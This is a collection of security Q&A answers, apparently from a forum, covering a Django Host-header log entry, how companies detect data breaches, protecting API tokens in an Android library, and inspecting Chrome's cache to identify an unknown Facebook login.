Assuming that your site is not kyortisdzheykob.ru then somebody is sending a HTTP request to your site where the Host header does not match your site, i.e. trying if your site will answer to a request for http://kyortisdzheykob.ru/ even if your site is actually http://example.com.

A web site should only accept requests for the actually intended domains and should reject any other requests. Failing to do this means that it is vulnerable for attacks like DNS rebinding and depending on the configuration of the site maybe even for more attacks like being used as a proxy to access internal resources.

It looks like that your web server is configured to accept such request which is bad. Fortunately your Django application behind the web server has an additional protection against this misconfiguration in the form of the ALLOWED_HOSTS option and fortunately this options seems to have been set to sane values instead of allowing everything. This means that you don't have to worry for now about the log entry you see: it is only showing that Django successfully blocked a request which was wrong.

But you should better also fix the problem at your web server. How this is exactly done depends on your specific server. But it usually can be done by having virtual hosts for the specific domains the server should be for and then have a default configuration for everything else which simply rejects the request.


Knowing when there has been a data breach from your database How do companies know when there has been a data breach?

For example, do they monitor event logs for login audits or do they wait until a paste is made of their data in a pastebin type site?

Is it possible that many smaller companies never know that their data has been stolen?

The number of security measures in place and the capabilities to discover breaches will vary widely from company to company and depends on the type of data that is stolen.

There are several ways a company will learn of a breach:

security sofware catches unusal behaviour and marks it for later review (or stops it on the fly after part of the data already left the network)
while routinely auditing logs (e.g. of a webserver) the company spots a potential attack vector and confirms it
the company receives a note by an insider (e.g. from a bank if payment data was involved and is now misused)
the attackers contact the company themself (e.g. to extort money)
the users/customers alert the company (e.g. complains about spam that was sent to related email adresses that were stolen)
news, reporters or other individuals get their hands on the stolen data and report it publicly or in private
..

Since the number of attackers and their motives to steal data from companies as well as the way they use the data in the end differs from breach to breach it is totally possible that small (and even larger) companies never know that their data has been stolen.
If the attackers don't use or publish the stolen data it will be hard to recognize if you do not have the security routines and tools in place to catch such a breach.

There will also be cases where the origin of a breach cannot be tracked back easily. Especially if a small number of stolen data is merged with larger parts (e.g. some 50 customer email addresses used in a huge spam campaign with millions of other recipients)


Storing API tokens safely on Android to identify developer We're building an Android library for our Rest APIs that app developers will access with a unique token. Since it's a paid service, and it's a per-request or per-install pricing model, how do we safeguard our paid developers from abuse, say if someone but the developer gets the token by:

Decompiling the app
Executing a Man in the Middle attack (even though it's HTTPS) and gets the token

What we're doing at the moment is getting each developer to host their own separate endpoint (server URL) that is hard-coded into the library when we give it to them. This end-point reverse proxies to our API, and this way, we are able to rate-limit requests by IPs and also differentiate traffic. However, it doesn't really solve the abuse part of the problem, and is also too painful if we want to scale to a million apps.

What can we do?

Have you considered a two-step process, where

A developer authenticates on your server, which will reply with the token
The token is then used for all subsequent sessions, and expires after a certain time of your choice

All of the above is done in the app. The session token is stored normally but given its short lifespan it is less of a crucial bit of information.

This allows you to:

Revoke someone's access e.g. if they haven't paid for the service
Keep track of usage
Allow a developer to "log off other sessions" in a manner similar to what Gmail does
Let a developer have more than one token


Extracting Facebook ID or email from browser's history While I was looking at my browser's history I noticed there has been a Facebook login from my computer, there are some Facebook related messaging and profile links in my browser history (chrome).

The login was not made using my account, so how can I learn the account information of the logged person (Facebook ID or email address or any other helpful details could give a clue who it might be).

You can probably obtain information by looking at the browser cache. When the browser downloads pages, it stores copies of them in local files, so as to speed up operations if asked to inspect the same page again. Whether a specific page will be cached or not depends on what the server says about the page (there are HTTP headers for that); old pages are automatically removed from the cache so that its total size remains low; and the user has the possibility to "clear the cache" manually.

Location of the cache, and its internal format, depend on the browser type and version, and the operating system. If you use Chrome on Windows, this freeware utility purports to be able to let you see and navigate the cache contents (I have not tried it and I do not vouch for its quality). Alternatively, go have a look at the files in [User Profile]\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache where [User Profile] is the home directory of your account on the machine (you may have to configure your file explorer to show hidden and system files).

Of course, if someone potentially evil and hostile could use your computer, then he could do a lot of bad things with it, including planting malware which will spy on you and siphon out the contents of all your files and passwords and secrets. However, if the said person used your computer to log on Facebook and left enough traces for you to see it, then chances are that he was not that competent or did not try very hard for concealment.